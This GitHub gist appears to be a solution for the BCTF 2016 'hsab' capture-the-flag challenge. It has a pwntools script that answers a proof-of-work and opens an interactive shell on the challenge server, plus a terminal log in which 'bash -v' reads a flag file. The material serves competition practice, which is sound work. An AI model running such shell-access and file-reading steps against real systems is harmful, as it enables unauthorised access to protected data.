Created
March 21, 2016 02:24
-
-
Save icchy/dc4327c3b7e25fd26908 to your computer and use it in GitHub Desktop.
BCTF 2016 hsab 250pts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~/D/c/b/hsab ❯❯❯ python solve.py | |
[+] Opening connection to 104.199.132.199 on port 2222: Done | |
[*] Switching to interactive mode | |
-bash-4.4$ $ bash -v /home/ctf/flag.ray | |
bash -v /home/ctf/flag.ray | |
#BCTF{ipreferzshtobash} | |
-bash-4.4$ server: timeout | |
[*] Got EOF while reading in interactive | |
$ | |
[*] Interrupted | |
[*] Closed connection to 104.199.132.199 port 2222 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import commands | |
# nc 104.199.132.199 2222 | |
HOST = "104.199.132.199" | |
PORT = 2222 | |
conn = remote(HOST, PORT) | |
conn.recvuntil("with '") | |
p = conn.recvuntil("'")[:-1] | |
conn.recvuntil('zeros.') | |
s = commands.getoutput('./a.out '+p) | |
conn.sendline(s) | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment